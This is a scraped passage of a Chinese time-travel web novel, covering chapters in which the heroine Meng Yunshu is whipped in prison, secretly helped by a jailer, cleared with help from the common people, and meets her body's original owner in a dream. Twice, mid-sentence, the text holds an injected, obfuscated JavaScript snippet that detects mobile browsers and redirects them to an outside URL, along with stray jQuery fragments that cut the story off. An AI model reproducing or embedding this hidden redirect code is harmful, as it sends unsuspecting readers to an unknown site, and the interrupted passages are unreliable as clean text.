那狱卒将手中的皮鞭在盐水中浸过一遍，走到孟允抒面前说：“孟夫人，对不住了。” 一道鞭痕赫然出现在孟允抒肩部，接着是更多、力道更大的鞭打。 鞭笞之刑所带来的痛楚比孟允抒预想中还要剧烈，加上她本身就发着烧，在皮鞭甩出的虚影中，眼前的景象全都化为了混沌而扭曲的模样。 孟允抒咬紧牙关，抽出一丝理智分析现状。赵逾明的行为印证了她的猜想，他根本就没打算抓捕真正的犯人，只想让她屈打成招。 为了不让他们的奸计得逞，她得先扛过这一遭。 43. 转机 剧痛如虫蚁般咬啮着孟允抒的神经，将她一点点地从昏迷中扎醒。 她用仅存的一点力气撑起眼皮，望向那个狭小的通风口。 一缕清辉从缺口斜斜地照射进来，但孟允抒看不到月亮，更无法通过它在夜空中的位置判断现在的时间。 她重新合上双眼。孟允抒只记得，在自己失去意识之前，她就已经在鞭刑中疼晕过去了几次，但每次都要被冰冷的盐水泼醒。盐水渗入伤口的灼烧感将她激醒，而后她又会因剧痛陷入昏迷。这样折腾了几次后，这招已经起不到任何作用。她最后一次昏过去后，再醒来就是在牢房中了。 孟允抒心里很清楚，今天的刑罚还只能算是开胃小菜，接下来赵逾明只会变本加厉。 她本想着保存体力以应对接下来的变故，可没想到一觉醒来，她只觉得脑袋比先前还要昏沉几分。她的高烧未退，又受了重刑，也没有人给她提供水和食物。照这样下去，她根本就撑不了几天。 恐怕这也正是赵逾明的计划之一。如果她一直不承认罪行，那就将她折磨致死，而后他们再实施行动。 反正结果都一样。 按照她之前思考得出的结论，当前她唯一的破局方法就是查清真相，摆脱自身的嫌疑。 可如今她身陷囹圄，被切断了和外界的一切联系，不可能开展调查；许昭强行被排除在事件之外，他也无法插手此事；她不知道报社成员们的立场，即使所有人都愿意帮她，她也不知道他们该怎样绕过赵逾明等人，直接将冤情上诉给朝廷。 孟允抒觉得自己仿佛走进了一个死局。 当初她正是因为当记者得罪了人，这才因飞来横祸丧命，而后穿到了胤朝。结果她不长记性，重获新生后又干起了老本行，落得如今的下场。 她倒是不后悔，只是有些唏嘘。 说真话的人就一定为世间所不容吗？ 孟允抒的意识忽明忽暗。朦胧之间，在昏暗的光线中，她似乎看到一个人影正站在她的牢房门外，看他的动作像是开锁。 她自嘲地想，也不知道是因为疼痛还是饥饿，她居然都出现幻觉了。 当这道身影蹑手蹑脚地靠近她时，孟允抒才猛然发觉不对劲。 这是真实的景象！ 孟允抒瞪大眼睛就要叫喊，来人却先一步捂住了她的嘴。 “嘘，别出声。” 他神色紧张地回头打量了一番，而后压低声音说道：“孟社长，我是来帮你的。” 孟允抒见他身上的衣服样式与其他狱卒一致，个头不高但体型结实，看起来三十多岁的样子。虽然她并没有完全放下戒备，但还是先点了点头，表示答应他的话。 那狱卒松了口气，将手从孟允抒嘴上挪开：“抱歉孟社长，方才冒犯了你。”而后他从身上解下一个水壶，将它递给孟允抒说道：“你快喝些水吧。” 孟允抒没有伸手去接水壶，警惕地看着他道：“你是何人，为什么要帮我？” “我是这里的狱卒。”他先回答了一个显而易见的身份，“平日里我经常会买《黎民日报》来读，我很喜欢那上面的文章。” 听他的意思，他是《黎民日报》的忠实读者。 “《黎民日报》的报道生动详实，内容丰富，而且从不弄虚作假。过去我曾听信一个生意人的谗言，险些将全部积蓄拿来给他，要不是你们及时在报上揭露这种骗局，恐怕我们一家老小都已经流落街头了。” 孟允抒对他所说的这篇报道有些印象。看来，他说的话有些可信度。 她接过狱卒手中的水壶，虽然她的嗓子已经干得像要冒烟，但还是竭力克制住了想将它一饮而尽的冲动。 狱卒看出孟允抒的犹豫，索性将水壶又拿回来说道：“要是孟社长不嫌弃，我先为你喝一口试毒。” 他仰起脖子就灌了一大口水，而后再次将水壶递给孟允抒：“孟社长放心，我绝对不会加害于你。” “多谢。” 孟允抒放下顾虑，她只来得及吐出两个字，就急不可耐地接来水壶，大口大口地喝起了水，不一会就将一个空壶还给狱卒。 清凉的甘泉下肚，她终于恢复了些力气，这才问他道：“今晚和你一起值夜的同僚呢？你这样偷摸着给我送水，不怕旁人发现吗？” “那几个人都是酒鬼，我给那酒里下了点东西，他们根本没察觉到，现在睡得正沉呢。”狱卒说道，“不过那药效维持不了多长时间，我们得长话短说。” 说罢，他告诉孟允抒他来这的目的。 “孟社长，我相信你不会做出这种捏造新闻的事，所以定然是有人想要加害于你。如今你被困在此地，皇上又特意下旨不让许大人参与此事，这样下去你只会凶多吉少。” 焦急和忧虑爬上他的面庞。 “你和许大人都是为黎民百姓着想的好人，我不能眼睁睁地看着你受难。但我只是一个小小的狱卒，一家老小都要靠我养活，我不敢做那些掉脑袋的事，所以不能放你出去，将请孟社长见谅。” 他的语气有些惭愧。 “我只是想尽我所能，看看能不能帮上你什么忙。孟社长尽管开口，只要是我能做到的事，我就尽力去办。” 孟允抒看到一线生机，喜出望外道：“你不必这样说，你愿意帮我，我已经是感激不尽。” 她的大脑飞速运转，既然这狱卒认识许昭，那最好说些有关他的事。 “许郎现在情况如何？皇上可有降罪于他？” “你被抓捕归案后，陛下就撤走了把守在许府的人。许大人如今的行动还算自由，但皇上不许他进入皇宫和官府。” 狱卒补充了整件事的细节：“今早上朝时，皇上曾让程大人、赵大人同许大人当面对质，责问他是否知道你在外办报、散播谣言之事。许大人说，他认为你办报是好事一桩，而他一直从旁监察报纸内容，你绝对不可能违反律令。” “这时，陛下派出去调查此案的人回来禀报，说是在许府搜出了过去几月的《黎民日报》，但并未发现违令的内容。因此皇上没有立刻给许大人定罪，只是让他暂时停职，将此案委托给赵大人查办。” 孟允抒知道，过去许昭会认真审查每期报纸的内容，而后将其整理归纳到书房。这道保险措施也算是救了他一命。 程玄平这伙人真够阴险的，专门趁着府中无人的时候前去搜查，许昭对此并不知情。如果许昭为了将自己和这件事撇清关系而给出否定回答，那他当场就会被扣上一顶“欺君之罪”的帽子。 许昭得知此事肯定也是十分愤慨，再加上皇上给出这种不公的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686320|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理结果，就凭他的性子，孟允抒都能想象得到他会作何反应。 狱卒的话证实了她的推测。 “许大人对陛下作出的决断不满，话里话外指责他是非不分听信谗言，几句话就惹恼了皇上。后来，皇上将他轰出大殿，派人把他监禁在府中，吩咐他们等你被抓捕归案后再放他出来。皇上本就因伪诏之案火冒三丈，再加上这事，只要有人给许大人求情，皇上就会大发雷霆，迁怒于他。现在旁人根本不敢提他的名字。” 俗话说忠言逆耳，许昭的忠言更是难听得没边儿。他能在朝中活到现在算皇上脾气好。 不过，根据狱卒的讲述，许昭现在虽然无权插手案件，但他好歹能够自由行动。这就足够了。 思索片刻后，孟允抒对狱卒说道：“这位——” 她停顿了一下转而问道：“敢问大人姓甚名谁？” “大人不敢当。”狱卒不好意思地摆摆手，“我叫刘冀。” 孟允抒点头，她总得记下恩人的名字。 “刘大人，有劳你帮我给许郎捎几句话。” 孟允抒把她掌握的线索全部告诉了刘冀，嘱托他将其转告给许昭：“请你告诉许郎，让他动员一切能够帮助我们的人，尽快找到那篇文章真正的作者及发行方，将真相上达天听。” 她坚信，凭借许昭的品行，即使两人的关系正处在僵局，他也一定会竭尽全力救她。现在这个难关更是考验她和许昭的人缘的时刻。 相比于前者，孟允抒更加担忧这一点。她和许昭平时干的尽是些得罪人的事，他们的仇家不少，估计会有许多人趁机落井下石。她不知道有多少人会弃自身安危于不顾，愿意趟这趟混水来帮她。 怪不得人们都说“患难见真情”。 刘冀把孟允抒说的话都牢记在心间，向她点头道：“孟社长放心，这件事就交给我了。” 他看见孟允抒遍体鳞伤的模样，痛心疾首地说道：“只是委屈你还要在此处受几日苦。我们都知道赵大人阴狠，他和许大人本就不对付，定然想抓住这次机会将你置之死地。这几日晚间都是我当值，我会将情报和吃食一并送给你，请你一定要撑住。” “我明白，刘大人也万事小心。” 说到最后这句话时，孟允抒已经是气若游丝，拼尽全力才从牙缝里挤出字词。思考和说话都耗费了她太多气力，她险些因体力不支再次昏过去。 这让孟允抒想起来一件事，她赶在刘冀起身离开前向他补充道：“刘大人，若是许郎问起我的情况，你就说我一切都好，千万不要将我的这般模样告诉他。请你叮嘱他，如果他在调查过程中遇到危险，切记优先保全自身，这样才能救我。” “好。” 刘冀点头应允，临走前感慨万分地说道：“孟社长和许大人当真是伉俪情深，难怪他会在听闻此事后失了理智，冒着杀头的风险为你辩白。” 因为担心惊动旁人，刘冀刻意压低了声音说话。但在孟允抒听来，“伉俪情深”四字却如雷贯耳。 除却那位孟姑娘的身份，她和许昭并非伉俪，何来情深。 如果她有幸能逃过此劫，待她重见天日后，她一定要把自己的真实身份明明白白地告诉许昭。 她不想再欺骗他。用假意换来的真情，她宁可不要。 44. 脱罪 接下来的几日，孟允抒保持清醒的时间越来越短。 一开始她还能在晚间打起精神，听刘冀向她传递外界的情报，请他替自己给许昭传达指令；可后来她已经没了睁眼的力气，刘冀说出的话落到她的耳中后都变成了零散的字词，她无法将它们连缀成句，更听不懂它们的意思，给出的回应也都是几个模糊的语气词。 刘冀见状也不好再同她交流，只能在每夜偷偷地将水和食物带进来，给她鼓劲打气，让她再坚持一下。 深夜，牢房的大门照例被人打开。 孟允抒抬眼看向门口，她视野范围的景象比昨日还要模糊，只能依稀分辨出一个人影正迅速向她接近。 她看不清那人的脸，习惯性地悄声问道：“刘大人？” “不，允抒，是我。”那人的声音充满焦急和心痛，孟允抒感觉到自己的身体离开地面，像是被人打横抱了起来，“他们竟然对你下此毒手。” 伴随着这道耳熟的声音，孟允抒勉强聚焦起视线，见到了一张让她朝思暮想的脸。 现在这张脸近在咫尺，她几乎分辨不出这是梦境还是现实。 她抬起手臂，摸到了他发热的脸颊。 “许公子，你还好吗？他们有没有把你怎么样？” “我没事。”许昭急匆匆地抱着她朝牢房外走，“你不要说话了，省些力气。” 但孟允抒心中还有个疑惑。 “我们这是要去哪？” “你的嫌疑已经被洗清了。”孟允抒感到自己被许昭抱得更紧了些，“我们回家。” 这句话让孟允抒感到莫大的安心，她松开心防，踏实地靠在许昭怀里，而后眼前一黑，再次晕了过去。 所以，她也没听到许昭那声惊慌的呼喊。 “孟女士，您还有什么想问的吗？” 在一片纸张翻动的窸窣中，一个许久未曾听到的称呼回响在孟允抒耳畔，让她一时间愣在原地。 她错愕地抬起头，在大厅最前方深蓝色的背景板上，赫然印着“新闻发布会”几个加粗黑体字。在那前方，端坐着几名西装革履的工作人员。和他们的目光一起投来的，是记者席上所有来宾的视线。 显而易见，她当前是全场关注的焦点，所有人都在等着她的回答。 孟允抒赶忙捏紧了手里的麦克风，先将这事搪塞过去：“没有了，谢谢。” 随着她落座，无数双眼睛都转了回去，回到各自要做的事情上。 孟允抒惊魂未定地打量着四周的环境，她身旁的阶梯上站着几名摄影师，相机的闪光灯不断映亮发言人的面庞。快门声、采访声、笔尖与纸面的摩擦声充斥着她的耳朵，眼前的一切都熟悉而陌生。 在几个月以前，这种场景对她来说是家常便饭，可眼下的情况显然不对劲。 她刚才还身处胤朝，在刑部的牢房里，怎么转瞬之间就回到现代，参加新闻发布会来了？ 孟允抒扯来胸前挂着的入场证，上面标注的姓名和工作单位正属于她。 她对当前的情况不知所措，于是起身请旁边的记者为她让出一条路，借口前去卫生间，以此摆脱众人，独自整理思绪。 孟允抒步履匆匆地赶到卫生间，打开水龙头就往自己脸上泼了把凉水，试图使自己镇静下来。她抬头看向镜中的自己，她的脸上挂满水珠，像是一轮水中的月亮。 她惊惶地后退几步，一时分辨不出镜中的人到底是谁。 而后，身边的场景突然扭曲成一个个漩涡，而后破碎、坍塌，最后只剩下一片白茫茫的空间，以及她眼前的“自己”。 对面的人和她容貌相同，身着一袭浅蓝衣衫，气质温婉娴静，头上簪着一支小巧精致的金钗，正惊奇地看着她。 孟允抒顺着她的视线，低头看了看自己的打扮。她穿着一身正装，脖子上还挂着那个表明她身份的入场证，这是她的经典社畜皮肤。 对面那位姑娘将她从头到脚地打量了几遍，对眼前的景象惊叹不已：“世上当真有与我如此相像的人。” 孟允抒对两人的身份有了初步判断，于是报上原主父母的姓名，试探性地问道：“孟姑娘，你可是他们二人的独女？” “正是。”那位孟姑娘一脸不可思议地应声，说出孟允抒的父母名字发问道：“孟女士，这可是令尊与令堂的名讳？” 孟允抒惊异地回答：“对。” 两人的衣着和对彼此的称呼形成了鲜明的对比，这种反差让孟允抒觉得十分奇妙。而她们能说出彼此父母的信息，这说明两人都掌握着关于对方的情报。 孟允抒和原主对上了暗号，于是向她询问如今的处境。 据那位孟姑娘所说，孟允抒并不是单方面地穿到了胤朝，两人更像是灵魂互换。 孟姑娘自缢后，再次睁开眼时就已经躺在了医院的病床上。旁人告诉她，在他们发生车祸时，过路的行人车辆及时报了警，当前车上的人都已经脱离了生命危险。后来孟姑娘所做的事和孟允抒类似，都是按照原主的记忆伪装自己隐藏身份，努力而谨慎地融入周边的环境。 “真是辛苦你了。” 孟允抒知道，孟姑娘原先可是十指不沾阳春水的高门贵女，穿到她身上之后不但没人伺候，反而还要为那三四千块钱的月薪拼命干活，这种巨大的落差无论放谁身上都难以承受。 “这份工作是累了点，但现在我能自食其力，还结交了不少朋友，心里比以前踏实多了。”孟姑娘莞尔一笑，“最起码我活着还有个盼头，每月就等着工资到账呢。” 孟允抒看得出，她的确比自己记忆中的模样开朗了许多，说起话来也充满自信。 孟姑娘滔滔不绝地分享着她的见闻：“而且这里可比大胤好玩，有那么多新奇的玩意儿，尤其是网络和手机，实在是太方便了。” 说到这里，她像是想起来什么似的停顿了一下，而后对孟允抒说道：“这样说来，你才是更辛苦的那个。我现在简直无法想象，以前我没有卫生巾的时候，每次来月事是怎么熬过去的。” 两人说笑了一会，孟允抒将话题拉回正轨，向孟姑娘打听自己父母亲友的消息：“他们如今过得怎么样？” “放心，他们都很好。” 孟姑娘同她一一讲述了这些人的近况，转而问道：“秋盈姐姐现状如何？” 比起孟允抒问的那一连串人名，孟姑娘所提的问题显得十分简短。 和她关系亲近的人只有这一个。 想到孟姑娘寂寥的身世，孟允抒疼惜地牵起她的手：“别担心，秋盈现在也过得很好。” 孟允抒向她告知了这几个月来她和秋盈一起经营报社的事，孟姑娘听得心潮澎湃，激动地握紧她的手：“你居然能带着秋盈闯出这样一份事业，着实令我敬佩。多谢你对秋盈的提携和照顾。” 孟姑娘回味了一下孟允抒刚才说的话，若有所思道：“这样说来，我也是错怪了许公子。还请你替我向他道歉。” 这句话一落音，孟允抒又陷入长久的沉默。 “孟姑娘，过去你和许公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699307|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子虽然生活在同一屋檐下，却甚少交流。”她终于开了口，问出那个在心中郁结已久的问题，“如今我假借你的身份，同许公子的感情与日俱增，你会不会怨我，认为我卑鄙无耻？” “这问题也正是我想问的。”对面那位孟姑娘也垂下眼眸，“你会因为我占用了你的身体，利用你的身份而生气吗？” “当然不会。”孟允抒摇头道，“反正我已经回不去了，你能够替我陪在他们身边，我反而应该感谢你。” “谢谢。”孟姑娘的眼神复而明亮起来，像是得到了极大的赦免。 “那我的答案也一样。”孟姑娘的眼中盛着温柔的笑意，“我们本来就没有太大差别，从今往后我就是你，你就是我。所以，这是你自己的事，不必过问我的意见。” 孟允抒豁然开朗，心旌也随着她的话语而摇曳。 随后，她四周无端地起了风，那风力越来越强，将孟姑娘的身影刮得弯曲模糊，如同吹皱的一池湖水。 发现这个空间摇摇欲坠后，孟允抒连忙上前一步，给了孟姑娘一个拥抱，想要同她告别。 孟姑娘先是一愣，而后反应过来这是现代人特有的热络，于是也张开双臂紧紧抱住孟允抒。 孟允抒轻轻拍着孟姑娘的后背：“再见，祝你拥有光明灿烂的未来。” 孟姑娘对孟允抒笑道：“再见，祝你前程似锦。” 这句话落音后，孟允抒惊异地发现，她和孟姑娘的衣着居然发生了对调，现在她正穿着孟姑娘那身衣裙，恢复了她在胤朝时的日常打扮。 可四面八方呼啸而来的疾风盖住了她的声音，她也听不清孟姑娘在说什么。眼前的光线一点点暗下去，孟允抒好像被人推了一把，踉跄地向后跌去。 “！” 孟允抒猛然睁开双眼，映入眼帘的是那片藕荷色床帐，绣有淡雅的兰花图样。 这是她自己的卧房。当然，是胤朝版本。 一阵微风从孟允抒脸上拂过，她转头看向窗户，这阵风正将竹帘吹得轻轻扬起，窗外传来聒噪的蝉鸣。 而在她视线的必经之路上，许昭正阖着双眼伏在她的床边，脊背随着他均匀的呼吸上下起伏着。 孟允抒抬起手臂想要去抚摸他的面庞，却在即将触碰到他的时候收回了手。她不忍惊扰这份难得的安宁，于是将目光挪回床帐上，回想着自己这几日的遭遇。 她遭到他人诬陷后，还没来得及作出反应就被卷入这场惊变。在刑部大牢的这些日子宛如一场噩梦，好在刘冀为她提供了诸多帮助，让她能够和许昭互通消息。靠着他提供的食物，她好歹撑到了许昭来救她。 而刚才发生的事太过奇幻，她不知那是梦境，还是她真的见到了那位孟姑娘。 紧接着，更多问题浮上心头。 她昏迷了多久？现在报社的情况如何？她到底是怎么脱罪的？程玄平等人对此又作何反应？ 思考片刻后，孟允抒觉得自己的身体有些僵硬，于是想换个姿势躺着。 她刚一翻身，就发现许昭被这动静惊醒过来，面带倦容地睁开眼睛。 刹那间，孟允抒觉得自己像是与许昭久别重逢。先前两人之间的隔膜还没有被打破，她一时不知道该说些什么，由于紧张和局促而屏住了呼吸。 许昭抬起头，睡眼惺忪地看了孟允抒一眼，两人的目光正巧在空中交汇。 他瞬间从床边蹦了起来，将整个上半身都凑到她面前，语气中是掩不住的惊喜。 “允抒，你终于醒了。” 45. 朝阳群众 许昭的反应将孟允抒心中的顾虑一扫而空，她甚至觉得方才的自己根本就是杞人忧天。 他对她的关心还是一如既往地不加遮掩，这样的感情太纯粹太贵重，孟允抒几乎不敢直视他的眼睛，接下这份爱意。 见孟允抒不说话，许昭只当她是因为病痛而感到不舒服，急切地问道：“你现在感觉如何？身体可有不适？” “我很好，我的身子并无大碍。”孟允抒心中泛起一阵酸楚，她极力压制住自己激昂的情绪，鼓起勇气看向许昭，对他笑了笑：“谢谢公子。” 许昭却觉得孟允抒分明是在逞强，语气笃定地说：“你就是在瞒我，你看你眼圈都红了，那眼泪都在眼眶里打转，还说没事。我去给你请郎中。” “不用。”孟允抒赶紧拦住许昭的动作，想把这事糊弄过去防止他深究，“我真的没事，你陪我说说话便好。” 许昭却没打算放过她，他仔细观察了一番孟允抒的神色，还是得出了她肯定是被疼哭的结论。 孟允抒觉得，许昭这人简直就是不解风情。 见他不依不饶，孟允抒只能抛弃自己的面子，对许昭道出实情：“我不是因为病痛才想哭的，只是见到公子，我一时情难自已，这才会喜极而泣。” 孟允抒这句话出口后，不好意思的人又变成了许昭。 “原来如此。”许昭讪笑着掩饰尴尬，眼神飘忽地说道，“是我多虑了。” 许昭的反应让孟允抒顿悟了和他相处的诀窍，只要她先主动出击流露真情，就能够掌控局面制服许昭。 孟允抒当即就试验了一下这种方法，凭借她的职业技能，几句话就将许昭说得面红耳赤，手足无措。 在和许昭说笑时，孟允抒像是失而复得那般，用目光珍重地将许昭的身影描摹了几遍。许昭看起来比以前憔悴许多，眼窝深陷，身形也消瘦了几圈，想来应是担忧她的身体所致。 孟允抒的笑容逐渐消退。她不知道他经历了多长时间的煎熬。 “我睡了有多久？” “三天三夜。”许昭回答，“今天是第四日。” 与他凌乱的头发相对的是那双因喜悦而发亮的眼瞳，他激动却小心地攥住孟允抒的手：“我将你带回府中后就请了郎中来，他为你开了疗伤治病的药。头一日你便退了烧，却一直都不曾醒来，我真担心……” 孟允抒当然明白他话里隐去的内容是什么。这是许昭心上的陈疾，可她险些又为他再添上一道新伤。 “对不起。” “不，应当是我向你道歉才对。”许昭自责地说道，“若我能早些发觉程玄平等人的诡计，你也不会受到这般伤害。” “话不能这样说。” 孟允抒躺得久了，她想起身和许昭说话，却因不小心扯到了伤口而吃痛地皱起眉头，倒吸了一口凉气。 许昭见状连忙来扶她：“你身上的伤还没好利索，动作慢点。” 说着，他在她身后垫了些枕头被褥，让孟允抒借着他的力道靠在上面。 钻心的痛感让孟允抒想起来赵逾明那个狗东西对自己的所作所为，虽然她身上还没什么力气，但心头燃起的怒火让她的声音变得铿锵有力：“有错的是这几个天杀的阴险小人。敢这么招惹我，等我出去了有他们好看的。” 几声轻笑打破了孟允抒放狠话的氛围，她不解地看向许昭：“你笑什么？” “我笑你比我预想中更坚强。”许昭收敛笑意正色道，“我本以为你经此劫难后会对他们有所畏惧，却没想到你是愈挫愈勇。” “那是自然。既然我选择了从事这种行当，就绝对不会退缩。” 孟允抒自得地说出她的想法，却不知道这件事会不会动摇许昭的心态。 她问许昭：“公子，你不怕吗？” 许昭明白她指的是什么。 “怕，我不可能不怕。”许昭的眼眸垂下又复而抬起，“但正如我所说，我更害怕你被终日困在闺阁当中，空有一腔抱负和才华却无处发泄，郁郁寡欢。” 尽管遭遇了这样惊险的风波，许昭还是坚定不移地支持她。这反倒让孟允抒不再像过去那样无所顾忌。 她握紧许昭的手，作出一个郑重的承诺：“我向你保证，以后我行事一定会更加小心。” 经历此番磨难，孟允抒更加体会到，她和许昭做的事都十分危险，一招不慎就会万劫不复。为了看到他们共同理想落地的那一刻，她需要不断总结经验，调整策略。 单凭一腔孤勇是走不长远的，只有先保全性命才能够同敌人对抗。 孟允抒思索着从这件事中她能汲取哪些教训。她向许昭问道：“说起来，我是怎么被赦免的？” 她对这件事的记忆还停留在许昭按她的指示和线索开展调查的时候，后面发生了什么事她毫无印象。 “我从刘冀那收到你的情报后，就去找了所有我能想到的人，向他们求助。”许昭讲述着当时的情况，“但当时你我都身处险境，在旁人看来你我都没有半分翻身的胜算，陛下又对我恼怒不已，因此只有两三位官员敢在暗中助我。其中，睿言为此事出了不少力。” 说完官员方面，许昭又提起报社成员的动向：“他们也是一样，在明白过来赵逾明等人的真实目的后，有些人或是碍于自己的身份，或是害怕被此事波及，选择置身事外。为这事盛姑娘将他们痛斥了一顿，有些人不服便反唇相讥，好在秋盈及时控制住了局面。” 孟允抒点点头。有人的地方就有江湖，他们报社中的局势和朝廷也不会有太大区别。她不在报社的这些日子里，每个人都有自己的想法，立场不同便产生了矛盾，因此肯定免不了各种冲突。 “不过，在处理报社事务的同时，秋盈、谨言、排云、盛姑娘等人自始至终都在想办法帮你查清真相，为此事殚精竭虑。” 孟允抒觉得这场磨难对她来说也不全是坏事，至少她能通过这些人的表现判断出，哪些人是她值得信赖的心腹。 “真是难为你们了。”孟允抒对他们满怀感激，系统给她的线索都十分模糊，即使她通过推理缩小了调查范围，但依然需要耗费巨大的人力。要让这几个人在短短几天内锁定目标掌握证据，将其整理成合乎逻辑的链条，实属不易。 许昭却摇摇头，拒绝了这一夸赞：“若是单靠我们，恐怕还得再过十天半个月才能将你从狱中救出。其实在此事中，出力最多的都是些平头百姓。” 孟允抒诧异道：“此话怎讲？” “听闻你出事后，有许多《黎民日报》的读者都涌去报社询问你的情况，还有些曾经参与过识字会的民众，他们也对你的境况忧心不已。那时我能调动的人手实在太少，索性病急乱投医，请他们助我一臂之力。” “拟出行动计划后，我将部分任务委派给他们，这样一来，我们调查的效率大大提高。而且，这些民众本就散布于城中各处，掌握的消息各不相同，由此我们得以将七零八落的线索整合起来，这也加快了我们探查真相的速度。” 孟允抒深知“朝阳群众”的威力，那可是世界第五大情报组织，许昭说的这话绝对不掺半点水分。 接着，许昭向她讲述了那份盗版小报的来源。 南华门街曾经是著名的书业一条街，但在《黎民日报》崭露头角之后，因其格式规整、内容丰富新奇，有越来越多人被其吸引。每人每天为文娱活动留出的空闲时间只有那么多，他们将原先看书的时间挪去看报，那些书坊自然流失了一大批顾客。 于是，这些书坊的掌柜便联合起来商讨对策，但无论他们推出什么营销手段都难以挽回书籍市场的颓势。最后这些人发现，问题的根源在于报社，只有想办法减少他们的交易量，他们的生意才有复苏的可能。 而后，他们就讨论出了这样一个给孟允抒泼脏水的损招。这些人也明白这是掉脑袋的事，为了不让别人查到自己头上，他们专门雇佣了一些迫于生计的人，请他们负责兜售那份小报。 如果不是城中百姓提供线索，就冲他们那种东一榔头西一棒追的售卖方式，许昭他们想要抓住这些人简直是难如登天。 许昭对此发出一句感慨：“此前我从未想过，未经训练的民众在探案时的表现丝毫不输给那些专攻此道的官员。多亏了他们，真相才能水落石出。” 他说起了事件的后续。 “查明真相后，便只剩下最后一个问题，即如何让皇上召见我。当时陛下与我嫌隙颇深，谁说话他都听不进去，反而会加重对我的猜忌，还让他们因我获罪。”许昭笑了笑，“在我心急如焚之际，是皇上身边的一个小 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“而后程玄平就说我是顽固不化的榆木疙瘩，愤然离开。我便对那小太监说，程玄平这人向来刻薄倨傲，他说的话狗屁不通，让他别往心里去。” “所以在我走投无路之时，那小太监来府中找我，说是为了感谢我替他仗义执言，愿意帮我进宫面见皇上。”许昭有些惭愧地笑笑，“其实他说的这事我都记不清了，却没想到他一直将其挂在心上。” 许昭一本正经地讲着这些，孟允抒却笑得直不起腰。 恐怕在许昭看来他只是实话实说，但在那小太监眼中，许昭却给了他莫大的安慰，因此深受触动，感念许昭为他出头。 世人总说太监通常都心理扭曲，但孟允抒觉得他小心眼得恰到好处。 “后来我就听从他的安排换上了太监服饰，由他将我带进了宫里。”许昭继续说道，“在皇上喊他进去倒茶时，他便逮住机会让我进去，我才得以见到陛下，将真相和证据一并禀报给他。” 孟允抒听得心惊肉跳。这是一步险棋，假如皇上不肯听信许昭的辩白，他和那名小太监都会因此丢了性命。 许昭看向孟允抒，为这场斗争作出了总结。 “允抒，你说得对，民众之力不容小觑。在你我落难之际，最有用的竟然是那些最不起眼的平民百姓、底层官吏。我能够为你平反，他们功不可没。” 孟允抒赞同地点头。 “在狱中我也全仰仗着刘大人助我，否则我恐怕都活不到今日。” 说到这她想起自己漏掉了一件事，连忙问许昭道：“事后你可曾向这些人致谢？只要不是违反律令的要求，我们都应尽量满足他们。” 滴水之恩当涌泉相报，更何况他们于她有救命之恩。 “那是自然。”许昭的面色转为无奈，“不过他们却不肯收取任何报酬。只有几个人说，他们想要盛姑娘的手稿以作收藏，这点倒还算好办。” 孟允抒愣了愣：“他们什么都不要？” “倒也不是。”许昭回想了一下那些人所说的话，将其复述给了孟允抒：“他们说，只要你能早点出来，继续保持过去的文章质量，让大家在闲暇之余有《黎民日报》看，办好识字会和那些免费讲座，这就足够了。” 孟允抒蓦地想起刘冀说的话。 他帮助自己的原因很简单。他认为孟允抒是为黎民百姓着想的好人，所以不愿眼睁睁地看着她受难。 对这些人来说也一样。 在平民百姓中，大部分人都没有读过书，见识短浅思想落后，并无过人的才华或能力，不能一眼看清事物的本质，甚至有时会受奸人所惑，被人利用还浑然不觉。 但是，他们分得清好赖，知道谁是真正关怀体恤他们的人。 她将黎民作为立身之本，为众人举起一支火把，百姓都对此看在眼里。所以在她陷入危机时，每个人都愿意献出一份微薄之力，就这样聚沙成塔，一步步地将真相托举出水面。 孟允抒欣慰地笑起来。她发现自己过去忽略了一件事。 她的仇家固然不少，可支持她的人显然更多。正是因此她才能够从这场斗争中获胜。 或许她可以借鉴这次的经验，以此来解决那些棘手的难题。 46. 内忧外患 想到她的仇敌，孟允抒向许昭询问程玄平等人的现状：“你将那些证据呈给皇上之后，他对此作出何种决断？” “陛下亲自前去调查了此事。验证我所说的情况属实后，他就下令放了你，让我官复原职，又召程玄平和赵逾明进殿问话。” 许昭的语气转为不满：“可惜那两人狡辩一番后，皇上只是罚了他们几个月的俸禄，就对此事绝口不提了。” 这个结果令人寒心，但在孟允抒的意料之中。 毕竟程玄平是朝廷命官，他背后的势力错综复杂，他的位置不可能凭这么一件小事动摇。更何况，新党崛起也不过是最近三五年的事，而旧党的根基已经相当稳固。程玄平作为旧党的主要代表人物之一，即使是皇上也不敢对他轻举妄动，否则就会牵一发而动全身，打破整个朝廷政局的平衡。 他们需要等待一个合适的时机，到那时再推波助澜，狠狠地对旧党施以打击。在此之前，她和许昭要做的就是养精蓄锐，同时抵御来自旧党成员的倾轧陷害。 但旧党势力庞大，他们正对许昭虎视眈眈。这些人的阴谋诡计层出不穷，新党成员却基本都是许昭这种耿直的义士，当然很容易被他们暗算。 而且，虽然孟允抒暂时洗清了虚构新闻、伪造诏书的嫌疑，但毕竟小报是个相当敏感的事物，这事被捅出来之后，尽管旧党当前并没有她违反律令的证据，可她难保皇上不会对自己抱有疑心与戒备。在有心人的煽风点火下，她和许昭随时都有脑袋搬家的风险。 政治斗争真是令人头疼。 孟允抒一时找不到对策，便任由思绪放空了一会，忽而抓住了一个关键词。 她开口问道：“公子认为，何为‘政治’？” 